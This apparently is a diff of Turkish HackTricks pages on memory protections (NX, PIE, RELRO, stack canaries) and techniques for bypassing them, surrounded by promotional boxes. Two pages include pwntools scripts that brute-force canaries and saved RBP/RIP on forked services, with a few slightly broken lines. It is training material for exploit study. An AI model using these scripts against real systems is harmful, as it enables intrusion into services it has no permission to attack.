* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR gönderin.**
</details>
## Temel Bilgiler
**No-Execute (NX)** biti, Intel terminolojisinde **Execute Disable (XD)** olarak da bilinen, **buffer overflow** saldırılarının etkilerini **azaltmak** amacıyla tasarlanmış donanım tabanlı bir güvenlik özelliğidir. Uygulandığında ve etkinleştirildiğinde, **yürütülebilir kod** için amaçlanan bellek bölgeleri ile **veri** için amaçlananlar arasında ayrım yapar, örneğin **stack** ve **heap**. Temel fikir, saldırganın kötü niyetli kodu stack'e yerleştirerek ve yürütme akışını buna yönlendirerek buffer overflow zafiyetleri aracılığıyla kötü niyetli kodu yürütmesini engellemektir.
## Atlatmalar
* Bu korumayı atlamak için [**ROP**](../stack-overflow/rop-return-oriented-programing.md) gibi teknikler kullanılabilir, bu sayede binary içinde zaten bulunan yürütülebilir kod parçaları yürütülebilir.
* [**Ret2libc**](../stack-overflow/ret2lib/)
* [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md)
* **Ret2...**
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR gönderin.**
</details>

View file

@ -0,0 +1,55 @@
# PIE
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
HackTricks'ı desteklemenin diğer yolları:
- **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
- Özel [**NFT'lerimizden oluşan The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin
- **Discord grubuna** 💬 [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
- **Hacking püf noktalarınızı** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
</details>
## Temel Bilgiler
PIE olarak derlenen bir ikili, yani **Pozisyon Bağımsız Yürütülebilir**, **programın her çalıştırıldığında farklı bellek konumlarına yüklenebileceği** anlamına gelir, sabit adresleri önler.
Bu ikilileri sömürmek için hile, **göreceli adresleri** sömürmekte yatar - programın parçaları arasındaki ofsetler, mutlak konumlar değişse bile aynı kalır. **PIE'yi atlatmak için sadece bir adres sızdırmanız** gerekir, genellikle **yığın** kullanarak format dizesi saldırıları gibi zafiyetlerden. Bir adres elde ettikten sonra, diğerlerini **sabit ofsetlerine göre hesaplayabilirsiniz**.
PIE ikilileri sömürürken yardımcı bir ipucu, bunların **temel adresinin genellikle 000 ile bittiği** ve bellek sayfalarının rastgeleleştirme birimleri olduğu için 0x1000 bayt boyutunda olan hafıza sayfaları nedeniyle bu hizalamadır. Bu hizalama, bir saldırının beklenildiği gibi çalışmadığını gösteren kritik bir **kontrol olabilir**, doğru temel adresin belirlenip belirlenmediğini gösterir.\
Veya sızıntı yaptığınız bir adresin **`0x649e1024`** konumunda olduğunu öğrenirseniz, **temel adresin `0x649e1000`** olduğunu bilirsiniz ve buradan fonksiyonların ve konumların **ofsetlerini hesaplayabilirsiniz**.
## Atlatmalar
PIE'yi atlatmak için yüklenen ikilinin **bazı adreslerini sızdırmanız** gerekmektedir, bunun için bazı seçenekler bulunmaktadır:
- Sızıntıyı **almak** (kolay CTF zorluklarında yaygındır, [**bu örneği kontrol edin**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
- Yığında **doğru olanları sızdırana kadar EBP ve EIP değerlerini** brute-force etmek:
{% content-ref url="bypassing-canary-and-pie.md" %}
[bypassing-canary-and-pie.md](bypassing-canary-and-pie.md)
{% endcontent-ref %}
- Yığında bir adresi sızdırmak için [**format dizesi gibi**](../../format-strings/) bir keyfi okuma zafiyeti kullanın (örneğin, önceki teknikte olduğu gibi yığından) ikilinin bir adresini sızdırmak ve oradan ofsetleri kullanmak için ikilinin temelini alın. [**Burada bir örnek bulun**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
## Referanslar
* [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
HackTricks'ı desteklemenin diğer yolları:
- **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
- Özel [**NFT'lerimizden oluşan The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin
- **Discord grubuna** 💬 [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
- **Hacking püf noktalarınızı** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
</details>

View file

@ -0,0 +1,110 @@
# Yığında BF Adresleri
<details>
<summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
**Bir canary ve PIE (Pozisyon Bağımsız Yürütülebilir) ile korunan bir ikiliyle karşı karşıyaysanız, muhtemelen bunları atlatmanın bir yolunu bulmanız gerekecektir.**
![](<../../../../.gitbook/assets/image (144).png>)
{% hint style="info" %}
**`checksec`**'in, bir ikilinin bir canary tarafından korunduğunu bulamayabileceğini unutmayın, bu statik olarak derlenmişse ve işlevi tanımlayamıyorsa.\
Ancak, bir değerin bir işlev çağrısının başında yığında kaydedildiğini ve bu değerin çıkış yapmadan önce kontrol edildiğini fark ederseniz, bunu manuel olarak fark edebilirsiniz.
{% endhint %}
## Kaba Kuvvet Adresleri
PIE'yi atlatmak için **bazı adresleri sızdırmanız** gerekmektedir. Ve eğer ikili herhangi bir adres sızdırmıyorsa, en iyisi **yığındaki kaydedilen RBP ve RIP'yi kaba kuvvet uygulamaktır**.\
Örneğin, bir ikili hem bir **canary** hem de **PIE** kullanarak korunuyorsa, önce canary'yi kaba kuvvet uygulayabilir, ardından **sonraki** 8 Bayt (x64) kaydedilen **RBP** ve **sonraki** 8 Bayt kaydedilen **RIP** olacaktır.
{% hint style="success" %}
Yığın içindeki dönüş adresinin genellikle ana ikili koduna ait olduğu varsayılır, bu da zafiyetin ikili kodda bulunduğu durumda genellikle geçerli olacaktır.
{% endhint %}
İkiliden RBP ve RIP'yi kaba kuvvet uygulamak için, bir geçerli tahmin edilen baytın doğru olduğunu programın bir çıktı verdiğini veya sadece çökmeyi önlediğini fark edebilirsiniz. Canlılığı sağlamak için canary'yi kaba kuvvet uygulamak için sağlanan **aynı işlev** RBP ve RIP'yi kaba kuvvet uygulamak için de kullanılabilir:
```python
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
```
Son şey, PIE'ı yenmek için gereken **sızdırılan** adreslerden yararlı adresleri hesaplamaktır: **RBP** ve **RIP**.
**RBP** adresinden, **kabuğunuzu yığında nereye yazdığınızı hesaplayabilirsiniz**. Bu, _"/bin/sh\x00"_ dizesini yığının içine nereye yazacağınızı bilmek için çok faydalı olabilir. Sızdırılan RBP ve kabuk kodunuz arasındaki mesafeyi hesaplamak için sadece **RBP'yi sızdırdıktan sonra bir kesme noktası koyabilir** ve **kabuk kodunuzun nerede bulunduğunu kontrol edebilirsiniz**, ardından kabuk kodu ile RBP arasındaki mesafeyi hesaplayabilirsiniz:
```python
INI_SHELLCODE = RBP - 1152
```
**RIP**'ten, **PIE ikili dosyasının başlangıç adresini** hesaplayabilirsiniz, bu da oluşturmanız gereken **geçerli bir ROP zinciri** için ihtiyacınız olan şeydir.\
Baz adresi hesaplamak için sadece `objdump -d vunbinary` yapın ve en son adresleri kontrol edin:
![](<../../../../.gitbook/assets/image (145).png>)
Bu örnekte, tüm kodları bulmak için yalnızca **1 Byte ve yarım** gerektiğini görebilirsiniz, sonra, bu durumda baz adres **sızdırılan RIP ancak "000" ile biten** olacaktır. Örneğin, `0x562002970ecf` sızdırdıysanız, baz adres `0x562002970000` olacaktır.
```python
elf.address = RIP - (RIP & 0xfff)
```
<detaylar>
<özet><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></özet>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na bakın(https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünleri**]'ni alın(https://peass.creator-spring.com)
* [**PEASS Ailesi**]'ni keşfedin(https://opensea.io/collection/the-peass-family), özel [**NFT'ler**] koleksiyonumuz(https://opensea.io/collection/the-peass-family)
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** takip edin
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
</detaylar>

View file

@ -0,0 +1,39 @@
# Relro
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
HackTricks'ı desteklemenin diğer yolları:
- **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
- [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
- 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
- **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
## Relro
**RELRO**, **Relocation Read-Only** kelimelerinin kısaltmasıdır ve **GOT (Global Offset Table)** üzerine yazılmış riskleri azaltmak için ikili dosyalarda kullanılan bir güvenlik özelliğidir. Kavramııklığa kavuşturmak için iki farklı türü olan **Partial RELRO** ve **Full RELRO**'yu inceleyelim.
### **Partial RELRO**
**Partial RELRO**, ikili dosyanın performansını önemli ölçüde etkilemeden güvenliği artırmak için daha basit bir yaklaşım benimser. **GOT'yi programın değişkenlerinin üzerine hafızada konumlandırarak, Partial RELRO, buffer taşmalarının GOT'a ulaşmasını ve GOT'u bozmasını önlemeyi amaçlar**.
Bu, **GOT'un** keyfi yazma **zafiyetlerinden** kötüye kullanılmasını **engellemez**.
### **Full RELRO**
**Full RELRO**, **GOT'u tamamen salt okunur hale getirerek** korumayı artırır. İkili başladığında tüm işlev adresleri çözülür ve GOT'a yüklenir, ardından GOT salt okunur olarak işaretlenir, böylece çalışma zamanında herhangi bir değişikliğe izin verilmez.
Ancak, Full RELRO ile yapılan takas performans ve başlatma süresi açısından gerçekleşir. Çünkü GOT'u salt okunur olarak işaretlemek için başlangıçta tüm dinamik sembollerin çözülmesini gerektirir, **Full RELRO özelliği etkinleştirilmiş ikili dosyaların daha uzun yükleme süreleri yaşamasına neden olabilir**. Bu ek başlangıç maliyeti, Full RELRO'nun tüm ikili dosyalarda varsayılan olarak etkinleştirilmemesinin nedenidir.
Bir ikili dosyada Full RELRO'nun etkin olup olmadığını görmek mümkündür:
```bash
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
```
## Atlatma
Eğer Full RELRO etkinleştirilmişse, bunu atlatmanın tek yolu, keyfi yürütme elde etmek için GOT tablosuna yazma gerektirmeyen başka bir yol bulmaktır.

View file

@ -0,0 +1,61 @@
# Stack Canaries
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
</details>
## **StackGuard ve StackShield**
**StackGuard**, aşırı taşmaları önlemek için **EIP (Genişletilmiş Komut İşaretçisi)**'den önce özel bir değer olan bir **canary** ekler, özellikle `0x000aff0d` (null, yeni satır, EOF, taşıma dönüşü) ve `recv()`, `memcpy()`, `read()` ve `bcopy()` gibi işlevler hala savunmasızdır ve **EBP (Taban İşaretçisi)**'ni korumaz.
**StackShield**, tüm dönüş adreslerini (**EIP'ler**) depolayan bir **Global Dönüş Yığını** sürdürerek StackGuard'dan daha sofistike bir yaklaşım benimser. Bu kurulum, herhangi bir taşmanın zarar vermemesini sağlar, çünkü depolanan ve gerçek dönüş adresleri arasında karşılaştırma yaparak taşma olaylarını tespit etmeyi sağlar. Ayrıca, StackShield, **EIP**'nin beklenen veri alanının dışına işaret ettiğini tespit etmek için dönüş adresini bir sınır değeriyle karşılaştırabilir. Bununla birlikte, Return-to-libc, ROP (Return-Oriented Programming) veya ret2ret gibi tekniklerle bu koruma atlanabilir, bu da StackShield'ın yerel değişkenleri korumadığını gösterir.
## **Stack Smash Koruyucu (ProPolice) `-fstack-protector`:**
Bu mekanizma, **EBP**'den önce bir **canary** yerleştirir ve yerel değişkenleri yeniden düzenleyerek tamponları daha yüksek bellek adreslerine yerleştirir, böylece diğer değişkenleri üzerine yazmalarını önler. Ayrıca, yığın üzerinden iletilen argümanları güvenli bir şekilde kopyalar ve bu kopyaları argüman olarak kullanır. Bununla birlikte, 8'den az öğeye sahip dizileri veya kullanıcının yapısındaki tamponları korumaz.
**Canary**, `/dev/urandom`'dan türetilen rastgele bir sayı veya varsayılan bir değer olan `0xff0a0000` değerinden gelir. **TLS (İş Parçacığı Yerel Depolama)**'da saklanır ve iş parçacıkları arasında paylaşılan bellek alanlarının iş parçacığı özel global veya statik değişkenlere sahip olmasına izin verir. Bu değişkenler başlangıçta ebeveyn süreçten kopyalanır ve çocuk süreçler verilerini değiştirebilir ancak ebeveyni veya kardeşleri etkilemez. Bununla birlikte, **`fork()` kullanılarak yeni bir canary oluşturulmadan kullanıldığında, tüm süreçler (ebeveyn ve çocuklar) aynı canary'yi paylaşır**, bu da onu savunmasız hale getirir. **i386** mimarisinde, canary `gs:0x14` adresinde saklanır ve **x86\_64**'te `fs:0x28` adresinde saklanır.
Bu yerel koruma, saldırılara açık tamponlara sahip işlevleri tanımlar ve bu işlevlerin başına canary yerleştirmek için kod enjekte eder ve bütünlüğünü doğrulamak için bu işlevlerin sonuna kod enjekte eder.
Bir web sunucusu `fork()` kullandığında, canary'yi byte byte tahmin etmek için bir brute-force saldırısını etkinleştirir. Bununla birlikte, `fork()`'ten sonra `execve()` kullanmak bellek alanını üzerine yazar ve saldırıyı geçersiz kılar. `vfork()`, çocuk sürecin yazmaya çalışana kadar çoğaltılmadan çalışmasına izin verir, bu noktada bir kopya oluşturulur ve işlem oluşturma ve bellek işleme için farklı bir yaklaşım sunar.
## Atlatmalar
**Canary'yi sızdırmak** ve ardından üzerine yazmak (örneğin tampon taşması) (örneğin tampon taşması) ile kendi değeriyle.
* **Canary çocuk süreçlerde çatallandığında**, bir byte'ı bir seferde **brute-force** etmek mümkün olabilir:
{% content-ref url="bf-forked-stack-canaries.md" %}
[bf-forked-stack-canaries.md](bf-forked-stack-canaries.md)
{% endcontent-ref %}
* Eğer ikili dosyada ilginç bir sızıntıığı varsa, sızdırmak mümkün olabilir:
{% content-ref url="print-stack-canary.md" %}
[print-stack-canary.md](print-stack-canary.md)
{% endcontent-ref %}
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
</details>

View file

@ -0,0 +1,117 @@
# BF Forked Stack Canaries
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
**Bir canary ve PIE (Pozisyon Bağımsız Yürütülebilir) tarafından korunan bir ikiliyle karşı karşıyaysanız, muhtemelen bunları atlatmanın bir yolunu bulmanız gerekecektir.**
![](<../../../../.gitbook/assets/image (144).png>)
{% hint style="info" %}
**`checksec`**'in, bir ikilinin bir canary tarafından korunduğunu bulamayabileceğini unutmayın, bu durumda statik olarak derlenmiş ve işlevi tanımlayamayan bir ikili olabilir.\
Ancak, bir değerin bir işlev çağrısının başında yığına kaydedildiğini ve bu değerin çıkış yapmadan önce kontrol edildiğini fark ederseniz bunu manuel olarak fark edebilirsiniz.
{% endhint %}
## Brute force Canary
Basit bir canary'yi atlatmanın en iyi yolu, ikili bir programın **her yeni bağlantı kurduğunuzda (ağ hizmeti) çocuk işlemciler oluşturması** durumunda, çünkü her bağlandığınızda **aynı canary kullanılacaktır**.
Bu durumda, canary'yi atlatmanın en iyi yolu, canary'yi **her karakteri karaktere brute-force etmek** ve tahmin edilen canary baytının doğru olup olmadığını anlamak için programın çöktüğünü veya düzenli akışını sürdürdüğünü kontrol etmektir. Bu örnekte, fonksiyon **8 Bayt'lik bir canary'yi brute-force eder (x64)** ve doğru tahmin edilen bayt ile yanlış baytı sadece **sunucudan bir yanıt** alınıp alınmadığını kontrol ederek ayırt eder (diğer durumlarda **try/except** kullanılabilir):
### Örnek 1
Bu örnek 64 bitler için uygulanmıştır ancak 32 bitler için kolayca uygulanabilir.
```python
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
```
### Örnek 2
Bu 32 bit için uygulanmıştır, ancak kolayca 64 bit'e değiştirilebilir.\
Ayrıca bu örnekte **programın önce girişin boyutunu belirten bir baytı ve ardından yükü beklediğini unutmayın**.
```python
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Return the canary
return known_canary
# Start the target process
target = process('./feedme')
#gdb.attach(target)
# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")
```

View file

@ -0,0 +1,49 @@
# Yığın Canariesini Yazdır
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR gönderin.
</details>
## Yazdırılan yığını genişlet
Bir **yığın taşması**ığına sahip bir programın, **yığın taşmasının bir kısmına işaret eden puts** işlevini **çalıştırabileceği bir durumu hayal edin**. Saldırgan, **canary'nin ilk baytının bir null bayt** (`\x00`) olduğunu ve canary'nin geri kalanının **rastgele** baytlar olduğunu bilir. Daha sonra, saldırgan, **yığını yalnızca canary'nin ilk baytına kadar üzerine yazacak bir taşma oluşturabilir**.
Ardından, saldırgan, **payload'ın ortasında puts işlevini çağırır** ve bu, **canary'nin tamamını yazdıracaktır** (ilk null bayt hariç).
Bu bilgiyle saldırgan, canary'yi bilerek (aynı program oturumunda) **yeni bir saldırı oluşturabilir ve gönderebilir**.
Bu taktik açıkça çok **kısıtlıdır**, çünkü saldırganın, **payload'ın içeriğini yazdırabilmesi**, **canary'yi dışarı çıkarabilmesi** ve ardından aynı program oturumunda **gerçek tampon taşmasını oluşturup gönderebilmesi** gerekir.
**CTF örneği:** [**https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html**](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
## Keyfi Okuma
Format **dizileri** tarafından sağlanan keyfi okuma ile canary'yi sızdırmak mümkün olabilir. Bu örneği kontrol edin: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) ve keyfi bellek adreslerini okumak için format dizilerini kötüye kullanma hakkında okuyabilirsiniz:
{% content-ref url="../../format-strings/" %}
[format-strings](../../format-strings/)
{% endcontent-ref %}
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
